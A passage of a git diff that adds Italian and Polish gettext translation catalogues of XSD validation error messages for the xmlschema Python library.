+msgstr "'minInclusive' deve essere inferiore a 'maxExclusive'" + +#: xmlschema/validators/simple_types.py:234 +msgid "'minExclusive' must be lesser than 'maxInclusive'" +msgstr "'minExclusive' deve essere inferiore a 'maxInclusive'" + +#: xmlschema/validators/simple_types.py:237 +msgid "'minExclusive' must be less or equal to 'maxExclusive'" +msgstr "'minExclusive' deve essere minore o uguale a 'maxExclusive'" + +#: xmlschema/validators/simple_types.py:241 +msgid "cannot specify both 'maxInclusive' and 'maxExclusive'" +msgstr "non è possibile specificare sia 'maxInclusive' che 'maxExclusive'" + +#: xmlschema/validators/simple_types.py:247 +msgid "" +"fractionDigits facet value cannot be lesser than the value of totalDigits " +"facet" +msgstr "" +"il valore della facet fractionDigits non può essere inferiore al valore " +"della facet totalDigits" + +#: xmlschema/validators/simple_types.py:253 +msgid "" +"totalDigits facet value cannot be greater than the value of the same facet " +"in the base type" +msgstr "" +"il valore della facet totalDigits non può essere maggiore del valore della " +"stessa facet nel tipo di base" + +#: xmlschema/validators/simple_types.py:262 +#, python-format +msgid "" +"the explicitTimezone facet value cannot be changed if the base type has the " +"same facet with value %r" +msgstr "" +"il valore del facet explicitTimezone non può essere modificato se il tipo di " +"base ha lo stesso facet con valore %r" + +#: xmlschema/validators/simple_types.py:460 +msgid "a {0!r} or {1!r} object required" +msgstr "è richiesto un oggetto {0!r} o {1!r}" + +#: xmlschema/validators/simple_types.py:615 +msgid "value is not an instance of {!r}" +msgstr "il valore non è un'istanza di {!r}" + +#: xmlschema/validators/simple_types.py:640 +#: xmlschema/validators/simple_types.py:753 +#: xmlschema/validators/simple_types.py:1107 +msgid "invalid value {!r}" +msgstr "valore non valido {!r}" + +#: xmlschema/validators/simple_types.py:665 +#, python-format +msgid "unmapped prefix %r in a QName" +msgstr "prefisso %r non mappato in un QName" + +#: xmlschema/validators/simple_types.py:699 +#: xmlschema/validators/simple_types.py:711 +msgid "duplicated xs:ID value {!r}" +msgstr "valore xs:ID {!r} duplicato" + +#: xmlschema/validators/simple_types.py:706 +msgid "no more than one attribute of type ID should be present in an element" +msgstr "non deve essere presente più di un attributo di tipo ID in un elemento" + +#: xmlschema/validators/simple_types.py:731 +msgid "boolean value {0!r} requires a {1!r} decoder" +msgstr "il valore booleano {0!r} richiede un decodificatore {1!r}" + +#: xmlschema/validators/simple_types.py:736 +msgid "{0!r} is not an instance of {1!r}" +msgstr "{0!r} non è un'istanza di {1!r}" + +#: xmlschema/validators/simple_types.py:824 +#, python-format +msgid "%r: a list must be based on atomic data types" +msgstr "%r: una lista deve essere basata su tipi di dati atomici" + +#: xmlschema/validators/simple_types.py:843 +msgid "ambiguous list type declaration" +msgstr "dichiarazione ambigua di tipo lista" + +#: xmlschema/validators/simple_types.py:851 +msgid "missing list type declaration" +msgstr "dichiarazione di tipo lista mancante" + +#: xmlschema/validators/simple_types.py:864 +msgid "circular definition found for type {!r}" +msgstr "definizione circolare trovata per il tipo {!r}" + +#: xmlschema/validators/simple_types.py:869 +#, python-format +msgid "'final' value of the itemType %r forbids derivation by list" +msgstr "il valore 'final' di itemType %r impedisce la derivazione da lista" + +#: xmlschema/validators/simple_types.py:873 +#: xmlschema/validators/simple_types.py:1048 +#: xmlschema/validators/simple_types.py:1335 +msgid "cannot use xs:anyAtomicType as base type of a user-defined type" +msgstr "" +"non si può usare xs:anyAtomicType come tipo base di un tipo definito " +"dall'utente" + +#: xmlschema/validators/simple_types.py:996 +#, python-format +msgid "wrong value %r for attribute 'white_space'" +msgstr "valore errato %r per l'attributo 'white_space'" + +#: xmlschema/validators/simple_types.py:1031 +msgid "circular definition found on xs:union type {!r}" +msgstr "definizione circolare trovata sul tipo xs:union {!r}" + +#: xmlschema/validators/simple_types.py:1035 +msgid "a {0!r} required, not {1!r}" +msgstr "un {0!r} richiesto, non {1!r}" + +#: xmlschema/validators/simple_types.py:1039 +#, python-format +msgid "'final' value of the memberTypes %r forbids derivation by union" +msgstr "" +"il valore 'final' dei memberTypes %r impedisce la derivazione per unione" + +#: xmlschema/validators/simple_types.py:1045 +msgid "missing xs:union type declarations" +msgstr "dichiarazioni del tipo xs:union mancanti" + +#: xmlschema/validators/simple_types.py:1128 +#, python-format +msgid "no type suitable for decoding the values %r" +msgstr "nessun tipo adatto a decodificare i valori %r" + +#: xmlschema/validators/simple_types.py:1162 +msgid "no type suitable for encoding the object" +msgstr "nessun tipo adatto per codificare l'oggetto" + +#: xmlschema/validators/simple_types.py:1210 +msgid "'name' attribute in a local simpleType definition" +msgstr "attributo 'name' in una definizione simpleType locale" + +#: xmlschema/validators/simple_types.py:1252 +#, python-format +msgid "wrong base type %r, an atomic type required" +msgstr "tipo di base %r errato, è richiesto un tipo atomico" + +#: xmlschema/validators/simple_types.py:1258 +msgid "an xs:simpleType definition expected" +msgstr "è prevista una definizione di xs:simpleType" + +#: xmlschema/validators/simple_types.py:1263 +msgid "" +"when a complexType with simpleContent restricts a complexType with mixed and " +"with emptiable content then a simpleType child declaration is required" +msgstr "" +"è richiesta una dichiarazione figlio simpleType quando un complexType con " +"simpleContent restringe un complexType con contenuto misto e svuotabile" + +#: xmlschema/validators/simple_types.py:1268 +#, python-format +msgid "simpleType restriction of %r is not allowed" +msgstr "la restrizione simpleType di %r non è consentita" + +#: xmlschema/validators/simple_types.py:1277 +msgid "unexpected tag after attribute declarations" +msgstr "tag imprevisto dopo le dichiarazioni di attributo" + +#: xmlschema/validators/simple_types.py:1282 +msgid "duplicated simpleType declaration" +msgstr "dichiarazione simpleType duplicata" + +#: xmlschema/validators/simple_types.py:1304 +msgid "restriction with 'base' attribute and simpleType declaration" +msgstr "restrizione con attributo 'base' e dichiarazione simpleType" + +#: xmlschema/validators/simple_types.py:1312 +#, python-format +msgid "unexpected tag %r in restriction" +msgstr "il tag %r non è previsto in una restrizione" + +#: xmlschema/validators/simple_types.py:1318 +#, python-format +msgid "multiple %r constraint facet" +msgstr "più vincoli facet %r" + +#: xmlschema/validators/simple_types.py:1330 +msgid "missing base type in restriction" +msgstr "tipo di base mancante nella restrizione" + +#: xmlschema/validators/simple_types.py:1332 +#, python-format +msgid "'final' value of the baseType %r forbids derivation by restriction" +msgstr "il valore 'final' del baseType %r vieta la derivazione per restrizione" + +#: xmlschema/validators/simple_types.py:1381 +#: xmlschema/validators/simple_types.py:1430 +#, python-format +msgid "" +"wrong base type %r: a simpleType or a complexType with simple or mixed " +"content required" +msgstr "" +"tipo base %r errato: è richiesto un simpleType o un complexType concontenuto " +"semplice o misto" + +#: xmlschema/validators/identities.py:86 +msgid "'xpath' attribute required" +msgstr "l'attributo 'xpath' è obbligatorio" + +#: xmlschema/validators/identities.py:98 +msgid "invalid XPath expression for an {}" +msgstr "espressione XPath non valida per un {}" + +#: xmlschema/validators/identities.py:182 +msgid "missing required attribute 'name'" +msgstr "attributo obbligatorio 'name' mancante" + +#: xmlschema/validators/identities.py:190 +msgid "missing 'selector' declaration" +msgstr "dichiarazione 'selector' mancante" + +#: xmlschema/validators/identities.py:202 +msgid "unknown identity constraint {!r}" +msgstr "vincolo di identità sconosciuto {!r}" + +#: xmlschema/validators/identities.py:207 +msgid "attribute 'ref' points to a different kind constraint" +msgstr "l'attributo 'ref' punta a un vincolo di tipo diverso" + +#: xmlschema/validators/identities.py:296 +msgid "missing key field {0!r} for {1!r}" +msgstr "campo chiave {0!r} mancante per {1!r}" + +#: xmlschema/validators/identities.py:304 +#, python-format +msgid "%r field doesn't have a simple type!" +msgstr "il campo %r non ha un tipo semplice!" + +#: xmlschema/validators/identities.py:325 +#, python-format +msgid "%r field selects multiple values!" +msgstr "il campo %r seleziona più valori!" + +#: xmlschema/validators/identities.py:359 +msgid "missing required attribute 'refer'" +msgstr "attributo obbligatorio 'refer' mancante" + +#: xmlschema/validators/identities.py:381 +#, python-format +msgid "key/unique identity constraint %r is missing" +msgstr "vincolo di identità chiave/univoco %r mancante" + +#: xmlschema/validators/identities.py:386 +#, python-format +msgid "reference to a non key/unique identity constraint %r" +msgstr "riferimento a vincolo di identità non chiave/univoco %r" + +#: xmlschema/validators/identities.py:389 +msgid "field cardinality mismatch between {0!r} and {1!r}" +msgstr "mancata corrispondenza della cardinalità del campo tra {0!r} e {1!r}" + +#: xmlschema/validators/identities.py:459 +msgid "duplicated value {0!r} for {1!r}" +msgstr "valore duplicato {0!r} per {1!r}" + +#: xmlschema/validators/xsdbase.py:51 +#, python-format +msgid "validation mode can be 'strict', 'lax' or 'skip': %r" +msgstr "il modo di validazione può essere 'strict', 'lax' o 'skip': %r" + +#: xmlschema/validators/xsdbase.py:254 +msgid "" +"wrong value {0!r} for 'xpathDefaultNamespace' attribute, can be (anyURI | " +"{1})." +msgstr "" +"valore errato {0!r} per l'attributo 'xpathDefaultNamespace', può essere " +"(anyURI | {1})." + +#: xmlschema/validators/xsdbase.py:405 +#, python-format +msgid "missing attribute 'name' in a global %r" +msgstr "attributo 'name' mancante in %r globale" + +#: xmlschema/validators/xsdbase.py:408 +#, python-format +msgid "missing both attributes 'name' and 'ref' in local %r" +msgstr "attributi 'name' e 'ref' entrambi mancanti in %r locale" + +#: xmlschema/validators/xsdbase.py:411 +msgid "attributes 'name' and 'ref' are mutually exclusive" +msgstr "gli attributi 'name' e 'ref' sono mutuamente esclusivi" + +#: xmlschema/validators/xsdbase.py:414 +#, python-format +msgid "attribute 'ref' not allowed in a global %r" +msgstr "l'attributo 'ref' non è ammesso in un %r globale" + +#: xmlschema/validators/xsdbase.py:423 +msgid "a reference component cannot have child definitions/declarations" +msgstr "" +"un componente riferimento non può avere definizioni/dichiarazioni figlie" + +#: xmlschema/validators/xsdbase.py:438 +msgid "too many XSD components, unexpected {0!r} found at position {1}" +msgstr "troppi componenti XSD, trovato un {0!r} inatteso alla posizione {1}" + +#: xmlschema/validators/xsdbase.py:454 +msgid "" +"attribute 'name' must be present when 'targetNamespace' attribute is provided" +msgstr "" +"l'attributo 'name' deve essere presente quando viene fornito l'attributo " +"'targetNamespace'" + +#: xmlschema/validators/xsdbase.py:458 +msgid "" +"attribute 'form' must be absent when 'targetNamespace' attribute is provided" +msgstr "" +"l'attributo 'form' deve essere assente quando viene fornito l'attributo " +"'targetNamespace'" + +#: xmlschema/validators/xsdbase.py:463 +#, python-format +msgid "a global %s must have the same namespace as its parent schema" +msgstr "un %r globale deve avere lo stesso namespace del suo schema genitore" + +#: xmlschema/validators/xsdbase.py:471 +msgid "" +"a declaration contained in a global complexType must have the same namespace " +"as its parent schema" +msgstr "" +"una dichiarazione contenuta in un complexType globale deve avere lo stesso " +"namespace del suo schema genitore" + +#: xmlschema/validators/xsdbase.py:591 +msgid "parent circularity from {}" +msgstr "circolarità del genitore da {}" + +#: xmlschema/validators/helpers.py:44 +#, python-format +msgid "wrong value %r for attribute %r" +msgstr "il valore %r per l'attributo %r è sbagliato" + +#: xmlschema/validators/helpers.py:59 +msgid "value is not a valid xs:decimal" +msgstr "il valore non è un xs:decimal valido" + +#: xmlschema/validators/helpers.py:65 +msgid "value is not an xs:QName" +msgstr "il valore non è un xs:QName" + +#: xmlschema/validators/helpers.py:71 xmlschema/validators/helpers.py:77 +#: xmlschema/validators/helpers.py:83 xmlschema/validators/helpers.py:89 +#: xmlschema/validators/helpers.py:95 xmlschema/validators/helpers.py:101 +#: xmlschema/validators/helpers.py:107 xmlschema/validators/helpers.py:113 +msgid "value must be {:s}" +msgstr "il valore dev'essere {:s}" + +#: xmlschema/validators/helpers.py:119 +msgid "value must be negative" +msgstr "il valore dev'essere negativo" + +#: xmlschema/validators/helpers.py:125 +msgid "value must be positive" +msgstr "il valore dev'essere positivo" + +#: xmlschema/validators/helpers.py:131 +msgid "value must be non positive" +msgstr "il valore dev'essere non positivo" + +#: xmlschema/validators/helpers.py:137 +msgid "value must be non negative" +msgstr "il valore dev'essere non negativo" + +#: xmlschema/validators/helpers.py:144 +msgid "not an hexadecimal number" +msgstr "non è un numero esadecimale" + +#: xmlschema/validators/helpers.py:157 +msgid "not a base64 encoding" +msgstr "non è una codifica base64" + +#: xmlschema/validators/helpers.py:162 +msgid "no value is allowed for xs:error type" +msgstr "nessun valore è ammesso per il tipo xs:error" + +#: xmlschema/validators/helpers.py:174 +msgid "{!r} is not a boolean value" +msgstr "{!r} non è un valore booleano" diff --git a/xmlschema/locale/pl/LC_MESSAGES/xmlschema.mo b/xmlschema/locale/pl/LC_MESSAGES/xmlschema.mo new file mode 100644 index 0000000..f08d4bd Binary files /dev/null and b/xmlschema/locale/pl/LC_MESSAGES/xmlschema.mo differ diff --git a/xmlschema/locale/pl/LC_MESSAGES/xmlschema.po b/xmlschema/locale/pl/LC_MESSAGES/xmlschema.po new file mode 100644 index 0000000..a49e615 --- /dev/null +++ b/xmlschema/locale/pl/LC_MESSAGES/xmlschema.po @@ -0,0 +1,1664 @@ +# Copyright (C) 2016, SISSA (International School for Advanced Studies). +# This file is distributed under the same license as the xmlschema package. + +# If you change something in this file, you need to generate a file with the .mo extension, +# for example, using the command `msgfmt xmlschema.po -o xmlschema.mo` + +msgid "" +msgstr "" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + + +#: xmlschema/validators/complex_types.py:134 +msgid "missing attribute 'name' in a global complexType" +msgstr "brakujący atrybut 'name' w globalnym complexType" + +#: xmlschema/validators/complex_types.py:139 +msgid "attribute 'name' not allowed in a local complexType" +msgstr "atrybut 'name' niedozwolony w lokalnym complexType" + +#: xmlschema/validators/complex_types.py:162 +msgid "'mixed' attribute not allowed with simpleContent" +msgstr "atrybut 'mixed' niedozwolony w przypadku simpleContent" + +#: xmlschema/validators/complex_types.py:177 +#, python-format +msgid "unexpected tag %r after simpleContent declaration:" +msgstr "nieoczekiwany znacznik %r po deklaracji simpleContent:" + +#: xmlschema/validators/complex_types.py:188 +msgid "value of 'mixed' attribute in complexType and complexContent must be the same" +msgstr "wartość atrybutu 'mixed' w complexType i complexContent musi być taka sama" + +#: xmlschema/validators/complex_types.py:208 +#, python-format +msgid "unexpected tag %r after complexContent declaration" +msgstr "nieoczekiwany znacznik %r po deklaracji complexContent" + +#: xmlschema/validators/complex_types.py:232 +#, python-format +msgid "unexpected tag %r for complexType content" +msgstr "nieoczekiwany znacznik %r dla zawartości complexType" + +#: xmlschema/validators/complex_types.py:240 +#: xmlschema/validators/simple_types.py:1227 +msgid "wrong definition with self-reference" +msgstr "błędna definicja z samoodniesieniem" + +#: xmlschema/validators/complex_types.py:243 +#: xmlschema/validators/simple_types.py:1234 +msgid "wrong redefinition without self-reference" +msgstr "błędna redefinicja bez samoodniesienia" + +#: xmlschema/validators/complex_types.py:254 +msgid "restriction or extension tag expected" +msgstr "oczekiwany znacznik ograniczenia lub rozszerzenia" + +#: xmlschema/validators/complex_types.py:261 +msgid "{!r} is expected to have a redefined/overridden component" +msgstr "{!r} ma mieć przedefiniowany/nadpisany komponent" + +#: xmlschema/validators/complex_types.py:266 +msgid "{0!r} derivation not allowed for {1!r}" +msgstr "{0!r} pochodna niedozwolona dla {1!r}" + +#: xmlschema/validators/complex_types.py:276 +msgid "'base' attribute required" +msgstr "wymagany atrybut 'base'" + +#: xmlschema/validators/complex_types.py:285 +#, python-format +msgid "missing base type %r" +msgstr "brak typu podstawowego %r" + +#: xmlschema/validators/complex_types.py:293 +#: xmlschema/validators/simple_types.py:1247 +msgid "circular definition found between {0!r} and {1!r}" +msgstr "znaleziona definicja cykliczna między {0!r} a {1!r}" + +#: xmlschema/validators/complex_types.py:297 +#: xmlschema/validators/complex_types.py:311 +msgid "a complexType ancestor required: {!r}" +msgstr "wymagany przodek complexType: {!r}" + +#: xmlschema/validators/complex_types.py:302 +#, python-format +msgid "derivation by %r blocked by attribute 'final' in base type" +msgstr "pochodna przez %r zablokowana przez atrybut 'final' w typie podstawowym" + +#: xmlschema/validators/complex_types.py:319 +msgid "a not empty simpleContent cannot restrict an empty content type" +msgstr "niepusty simpleContent nie może ograniczać pustego typu zawartości" + +#: xmlschema/validators/complex_types.py:326 +msgid "content type is not a restriction of base content" +msgstr "typ zawartości nie jest ograniczeniem zawartości podstawowej" + +#: xmlschema/validators/complex_types.py:332 +msgid "with simpleContent cannot restrict an element-only content type" +msgstr "simpleContent nie może ograniczyć typu zawartości tylko do elementu" + +#: xmlschema/validators/complex_types.py:344 xmlschema/validators/groups.py:478 +#, python-format +msgid "unexpected tag %r" +msgstr "nieoczekiwany znacznik %r" + +#: xmlschema/validators/complex_types.py:354 +#, python-format +msgid "base type %r has no simple content" +msgstr "typ podstawowy %r nie ma prostej zawartości" + +#: xmlschema/validators/complex_types.py:362 +msgid "the base type is not derivable by restriction" +msgstr "typ podstawowy nie jest wyprowadzany przez ograniczenie" + +#: xmlschema/validators/complex_types.py:365 +#: xmlschema/validators/complex_types.py:458 +#: xmlschema/validators/complex_types.py:896 +#, python-format +msgid "base %r is simple or has a simple content" +msgstr "baza %r jest prosta lub ma prostą zawartość" + +#: xmlschema/validators/complex_types.py:377 +#, python-brace-format +msgid "restriction of an xs:{0} with more than one particle with xs:{1} is forbidden" +msgstr "ograniczenie xs:{0} z więcej niż jedną cząstką z xs:{1} jest zabronione" + +#: xmlschema/validators/complex_types.py:389 +msgid "derived a mixed content from a base type that has element-only content" +msgstr "wyprowadzenie zawartości mieszanej z typu bazowego, który zawiera tylko elementy" + +#: xmlschema/validators/complex_types.py:392 +msgid "an empty content derivation from base type that has not empty content" +msgstr "pochodna typu bazowego z pustą zawartością, która nie ma pustej zawartości" + +#: xmlschema/validators/complex_types.py:403 +msgid "{0!r} is not a restriction of the base type {1!r}" +msgstr "{0!r} nie jest ograniczeniem typu bazowego {1!r}" + +#: xmlschema/validators/complex_types.py:412 +#: xmlschema/validators/complex_types.py:901 +msgid "the base type is not derivable by extension" +msgstr "typ podstawowy nie jest wyprowadzany przez rozszerzenie" + +#: xmlschema/validators/complex_types.py:445 +#: xmlschema/validators/complex_types.py:952 +#: xmlschema/validators/complex_types.py:1002 +#, python-format +msgid "base has a different content type (mixed=%r) and the extension group is not empty." +msgstr "podstawa ma inny typ zawartości (mixed=%r), a grupa rozszerzeń nie jest pusta." + +#: xmlschema/validators/complex_types.py:465 +msgid "cannot extend a complex content with xs:all" +msgstr "nie można rozszerzyć złożonej zawartości za pomocą xs:all" + +#: xmlschema/validators/complex_types.py:468 +msgid "xs:sequence cannot extend xs:all" +msgstr "xs:sequence nie może rozszerzać xs:all" + +#: xmlschema/validators/complex_types.py:478 +msgid "XSD 1.0 does not allow extension of a not empty 'all' model group" +msgstr "XSD 1.0 nie pozwala na rozszerzenie niepustej grupy modeli 'all'" + +#: xmlschema/validators/complex_types.py:481 +#, python-format +msgid "base has a different content type (mixed=%r) and the extension group is not empty" +msgstr "podstawa ma inny typ zawartości (mixed=%r), a grupa rozszerzeń nie jest pusta" + +#: xmlschema/validators/complex_types.py:495 +#: xmlschema/validators/complex_types.py:1017 +msgid "extended type has a mixed content but the base is element-only" +msgstr "rozszerzony typ ma zawartość mieszaną, ale podstawa jest tylko elementem" + +#: xmlschema/validators/complex_types.py:655 +msgid "global type {!r} is not built" +msgstr "typ globalny {!r} nie jest zbudowany" + +#: xmlschema/validators/complex_types.py:721 +#: xmlschema/validators/complex_types.py:746 +#, python-format +msgid "cannot decode %(obj)r data with %(decoder)r" +msgstr "nie można zdekodować danych %(obj)r za pomocą %(decoder)r" + +#: xmlschema/validators/complex_types.py:847 +msgid "the simple content of {!r} is not a valid simple type in XSD 1.1" +msgstr "prosta zawartość {!r} nie jest poprawnym typem prostym w XSD 1.1" + +#: xmlschema/validators/complex_types.py:854 +msgid "openContent mismatch between type and model group" +msgstr "niezgodność openContent między typem a grupą modeli" + +#: xmlschema/validators/complex_types.py:869 +#, python-format +msgid "attribute %r must be inheritable" +msgstr "atrybut %r musi być dziedziczny" + +#: xmlschema/validators/complex_types.py:885 +msgid "default attribute {!r} is already declared in the complex type" +msgstr "atrybut domyślny {!r} jest już zadeklarowany w typie złożonym" + +#: xmlschema/validators/complex_types.py:956 +msgid "cannot extend an empty mixed content with an xs:all" +msgstr "nie można rozszerzyć pustej zawartości mieszanej za pomocą xs:all" + +#: xmlschema/validators/complex_types.py:974 +#, python-format +msgid "xs:all cannot extend a not empty xs:%s" +msgstr "xs:all nie może rozszerzyć niepustego xs:%s" + +#: xmlschema/validators/complex_types.py:989 +msgid "cannot extend a not empty 'all' model group with a different model" +msgstr "nie można rozszerzyć niepustej grupy modeli 'all' o inny model" + +#: xmlschema/validators/complex_types.py:992 +msgid "when extend an xs:all group minOccurs must be the same" +msgstr "podczas rozszerzania xs:all grupa minOccurs musi być taka sama" + +#: xmlschema/validators/complex_types.py:995 +msgid "cannot extend an xs:all group with mixed empty content" +msgstr "nie można rozszerzyć grupy xs:all z mieszaną pustą zawartością" + +#: xmlschema/validators/complex_types.py:1035 +msgid "{0!r} is not an extension of the base type {1!r}" +msgstr "{0!r} nie jest rozszerzeniem typu bazowego {1!r}" + +#: xmlschema/validators/notations.py:39 +msgid "a notation declaration must be global" +msgstr "deklaracja notacji musi być globalna" + +#: xmlschema/validators/notations.py:43 +msgid "a notation must have a 'name' attribute" +msgstr "notacja musi mieć atrybut 'name'" + +#: xmlschema/validators/notations.py:46 +msgid "a notation must have a 'public' or a 'system' attribute" +msgstr "notacja musi mieć atrybut 'public' lub 'system'" + +#: xmlschema/validators/particles.py:122 +msgid "minOccurs value is not an integer value" +msgstr "wartość minOccurs nie jest liczbą całkowitą" + +#: xmlschema/validators/particles.py:126 +msgid "minOccurs value must be a non negative integer" +msgstr "wartość minOccurs musi być nieujemną liczbą całkowitą" + +#: xmlschema/validators/particles.py:134 +msgid "minOccurs must be lesser or equal than maxOccurs" +msgstr "minOccurs musi być mniejsze lub równe maxOccurs" + +#: xmlschema/validators/particles.py:142 +msgid "maxOccurs value must be a non negative integer or 'unbounded'" +msgstr "wartość maxOccurs musi być nieujemną liczbą całkowitą lub 'unbounded'" + +#: xmlschema/validators/particles.py:146 +msgid "maxOccurs must be 'unbounded' or greater than minOccurs" +msgstr "maxOccurs musi być 'unbounded' lub większe niż minOccurs" + +#: xmlschema/validators/assertions.py:76 +msgid "base_type={!r} is not a complexType definition" +msgstr "base_type={!r} nie jest definicją complexType" + +#: xmlschema/validators/elements.py:162 +#, python-format +msgid "unknown element %r" +msgstr "nieznany element %r" + +#: xmlschema/validators/elements.py:179 +msgid "attribute {!r} is not allowed when element reference is used" +msgstr "atrybut {!r} nie jest dozwolony, gdy używane jest odwołanie do elementu" + +#: xmlschema/validators/elements.py:200 +msgid "local scope elements cannot have abstract attribute" +msgstr "elementy zasięgu lokalnego nie mogą mieć atrybutu 'abstract'" + +#: xmlschema/validators/elements.py:227 +msgid "attribute {!r} is not allowed in a global element declaration" +msgstr "atrybut {!r} nie jest dozwolony w globalnej deklaracji elementu" + +#: xmlschema/validators/elements.py:232 +msgid "attribute {!r} not allowed in a local element declaration" +msgstr "atrybut {!r} niedozwolony w deklaracji elementu lokalnego" + +#: xmlschema/validators/elements.py:250 xmlschema/validators/elements.py:1460 +#: xmlschema/validators/simple_types.py:859 +#: xmlschema/validators/simple_types.py:1024 +#: xmlschema/validators/simple_types.py:1240 +msgid "unknown type {!r}" +msgstr "nieznany typ {!r}" + +#: xmlschema/validators/elements.py:255 +msgid "the attribute 'type' and a xs:{} local declaration are mutually exclusive" +msgstr "atrybut 'type' i deklaracja lokalna xs:{} wzajemnie się wykluczają" + +#: xmlschema/validators/elements.py:274 xmlschema/validators/attributes.py:165 +msgid "'default' and 'fixed' attributes are mutually exclusive" +msgstr "Atrybuty 'default' i 'fixed' wzajemnie się wykluczają" + +#: xmlschema/validators/elements.py:278 +msgid "'default' value {!r} is not compatible with element's type" +msgstr "wartość 'default' {!r} nie jest zgodna z typem elementu" + +#: xmlschema/validators/elements.py:282 +msgid "xs:ID or a type derived from xs:ID cannot have a default value" +msgstr "xs:ID lub typ wywodzący się z xs:ID nie może mieć wartości domyślnej" + +#: xmlschema/validators/elements.py:288 +msgid "'fixed' value {!r} is not compatible with element's type" +msgstr "wartość 'fixed' {!r} nie jest zgodna z typem elementu" + +#: xmlschema/validators/elements.py:292 +msgid "xs:ID or a type derived from xs:ID cannot have a fixed value" +msgstr "xs:ID lub typ wywodzący się z xs:ID nie może mieć stałej wartości" + +#: xmlschema/validators/elements.py:311 xmlschema/validators/elements.py:319 +#, python-format +msgid "duplicated identity constraint %r:" +msgstr "zduplikowane ograniczenie tożsamości %r:" + +#: xmlschema/validators/elements.py:341 +#, python-format +msgid "unknown substitutionGroup %r" +msgstr "nieznana substitutionGroup %r" + +#: xmlschema/validators/elements.py:346 +#, python-format +msgid "circularity found for substitutionGroup %r" +msgstr "okrągłość znaleziona dla substitutionGroup %r" + +#: xmlschema/validators/elements.py:361 +msgid "{0!r} type is not of the same or a derivation of the head element {1!r} type" +msgstr "typ {0!r} nie jest tym samym lub pochodnym typem elementu głównego {1!r}" + +#: xmlschema/validators/elements.py:365 +#, python-format +msgid "head element %r can't be substituted by an element that has a derivation of its type" +msgstr "element główny %r nie może być zastąpiony przez element, który ma pochodną swojego typu" + +#: xmlschema/validators/elements.py:369 +#, python-format +msgid "head element %r can't be substituted by an element that has an extension of its type" +msgstr "element główny %r nie może być zastąpiony przez element, który ma rozszerzenie jego typu" + +#: xmlschema/validators/elements.py:373 +#, python-format +msgid "head element %r can't be substituted by an element that has a restriction of its type" +msgstr "element główny %r nie może zostać zastąpiony przez element, który ma ograniczenie typu" + +#: xmlschema/validators/elements.py:547 +msgid "schemaLocation declaration after namespace start" +msgstr "deklaracja schemaLocation po uruchomieniu przestrzeni nazw" + +#: xmlschema/validators/elements.py:556 +#, python-format +msgid "missing dynamic loaded schema from %s" +msgstr "brak dynamicznie załadowanego schematu z %s" + +#: xmlschema/validators/elements.py:559 +msgid "dynamic loaded schema change the assessment" +msgstr "dynamicznie załadowany schemat zmienia ocenę" + +#: xmlschema/validators/elements.py:610 +msgid "cannot use an abstract element for validation" +msgstr "nie może używać elementu abstrakcyjnego do walidacji" + +#: xmlschema/validators/elements.py:667 xmlschema/validators/identities.py:219 +msgid "selector xpath expression can only select elements" +msgstr "wyrażenie xpath selektora może wybierać tylko elementy" + +#: xmlschema/validators/elements.py:673 +#, python-format +msgid "usage of %r is blocked" +msgstr "użycie %r jest zablokowane" + +#: xmlschema/validators/elements.py:677 +#, python-format +msgid "%r is abstract" +msgstr "%r jest abstrakcyjne" + +#: xmlschema/validators/elements.py:705 +msgid "element is not nillable" +msgstr "element nie jest wymazywalny" + +#: xmlschema/validators/elements.py:708 +msgid "xsi:nil attribute must have a boolean value" +msgstr "atrybut xsi:nil musi mieć wartość logiczną" + +#: xmlschema/validators/elements.py:713 +msgid "xsi:nil='true' but the element has a fixed value" +msgstr "xsi:nil='true', ale element ma stałą wartość" + +#: xmlschema/validators/elements.py:716 +msgid "xsi:nil='true' but the element is not empty" +msgstr "xsi:nil='true', ale element nie jest pusty" + +#: xmlschema/validators/elements.py:722 +msgid "character data is not allowed because content is empty" +msgstr "dane znakowe nie są dozwolone, ponieważ zawartość jest pusta" + +#: xmlschema/validators/elements.py:744 xmlschema/validators/elements.py:760 +#, python-format +msgid "must have the fixed value %r" +msgstr "musi mieć stałą wartość %r" + +#: xmlschema/validators/elements.py:749 +msgid "a simple content element can't have child elements" +msgstr "prosty element treści nie może mieć elementów podrzędnych" + +#: xmlschema/validators/elements.py:778 xmlschema/validators/attributes.py:237 +msgid "cannot validate against xs:NOTATION directly, only against a subtype with an enumeration facet" +msgstr "nie może bezpośrednio walidować xs:NOTATION, a jedynie podtyp z aspektem wyliczeniowym" + +#: xmlschema/validators/elements.py:782 xmlschema/validators/attributes.py:241 +msgid "missing enumeration facet in xs:NOTATION subtype" +msgstr "brak aspektu wyliczenia w podtypie xs:NOTATION" + +#: xmlschema/validators/elements.py:1245 +msgid "test attribute missing in non-final alternative" +msgstr "brak atrybutu testowego w nieostatecznej alternatywie" + +#: xmlschema/validators/elements.py:1370 +msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}" +msgstr "Być może tabela typów nie jest równoważna między elementami {0!r} i {1!r}" + +#: xmlschema/validators/elements.py:1446 +msgid "missing 'type' attribute" +msgstr "brakujący atrybut 'type'" + +#: xmlschema/validators/elements.py:1454 +msgid "declared type is not derived from {!r}" +msgstr "zadeklarowany typ nie pochodzi od {!r}" + +#: xmlschema/validators/elements.py:1464 +msgid "type {0!r} is not derived from {1!r}" +msgstr "typ {0!r} nie jest pochodną {1!r}" + +#: xmlschema/validators/elements.py:1469 +#, python-format +msgid "the attribute 'type' and the xs:%s local declaration are mutually exclusive" +msgstr "atrybut 'type' i deklaracja lokalna xs:%s wzajemnie się wykluczają" + +#: xmlschema/validators/global_maps.py:77 +msgid "global {0} with name={1!r} is already defined" +msgstr "globalny {0} z name={1!r} jest już zdefiniowany" + +#: xmlschema/validators/global_maps.py:90 +msgid "multiple redefinition for {0} {1!r}" +msgstr "wielokrotna redefinicja dla {0} {1!r}" + +#: xmlschema/validators/global_maps.py:102 +msgid "circular redefinition for {0} {1!r}" +msgstr "redefinicja kołowa dla {0} {1!r}" + +#: xmlschema/validators/global_maps.py:117 +msgid "not a redefinition!" +msgstr "nie jest redefinicją!" + +#: xmlschema/validators/global_maps.py:234 +msgid "wrong tag {!r} for an XSD global definition/declaration" +msgstr "nieprawidłowy znacznik {!r} dla globalnej definicji/deklaracji XSD" + +#: xmlschema/validators/global_maps.py:313 +#: xmlschema/validators/global_maps.py:330 +msgid "wrong element {0!r} for map {1!r}" +msgstr "błędny element {0!r} dla mapy {1!r}" + +#: xmlschema/validators/global_maps.py:339 +msgid "redefined schema {!r} has a different targetNamespace" +msgstr "zredefiniowany schemat {!r} ma inny 